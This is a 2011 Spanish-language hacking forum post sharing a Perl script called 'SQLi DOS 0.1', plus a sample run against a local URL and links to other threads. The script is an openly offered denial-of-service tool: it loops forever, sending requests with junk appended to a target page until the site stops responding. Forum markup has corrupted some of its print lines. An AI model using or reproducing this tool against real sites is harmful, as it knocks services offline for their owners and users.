[Perl] SQLi DOS 0.1

  • 0 Respuestas
  • 1366 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] SQLi DOS 0.1

  • en: Julio 03, 2011, 10:04:40 pm
Un simple Dos para SQLi

Código: Perl
  1. #!usr/bin/perl
  2. #SQLi Dos 0.1 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n<ul class="bbc_list"><li type="square"> Target : ".$_[0]."\n";[/li][/list]
  20. print "\n</li><li type="square"> Starting the attack\n</li><li type="square"> Info : control+c for stop attack\n\n";[/li][/list]
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
  24. unless($code->is_success) {
  25. print "</li><li type="square"> Web Off";[/li][/list]
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n</li><li type="square"> Stoping attack\n";[/li][/list]
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == SQLI Dos 0.1 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n</li><li type="square"> Sintax : $0 <page>\n";[/li][/list]
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?
  52.  

Ejemplo de uso

Código: [Seleccionar]
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


  • Target : http://localhost/sql.php?id=1[/li]

  • Starting the attack[/li]
  • Info : control+c for stop attack[/li]


  • Stoping attack[/li][/list]


    -- == (C) Doddy Hackman 2011 == --

  • « Última modificación: Julio 17, 2011, 03:40:25 am por Sthefano02 »

     

    Sqli Dorking

    Iniciado por ZanGetsu

    Respuestas: 1
    Vistas: 2501
    Último mensaje Agosto 31, 2013, 03:29:16 am
    por hdbreaker
    Tutorial perl desde cero By: Black Poision & Painboy

    Iniciado por ProcessKill

    Respuestas: 2
    Vistas: 5331
    Último mensaje Septiembre 02, 2011, 09:43:36 pm
    por blozzter
    [Perl] Verificando si es root para correr un script

    Iniciado por c1st

    Respuestas: 1
    Vistas: 3474
    Último mensaje Octubre 07, 2012, 06:01:39 pm
    por ANTRAX
    [Perl] Half Life Servers List 0.1

    Iniciado por BigBear

    Respuestas: 0
    Vistas: 2606
    Último mensaje Noviembre 12, 2012, 07:31:50 pm
    por BigBear
    Funciones más utilizadas en la programación de un perl script

    Iniciado por Dragora

    Respuestas: 0
    Vistas: 4374
    Último mensaje Enero 06, 2019, 01:01:06 am
    por Dragora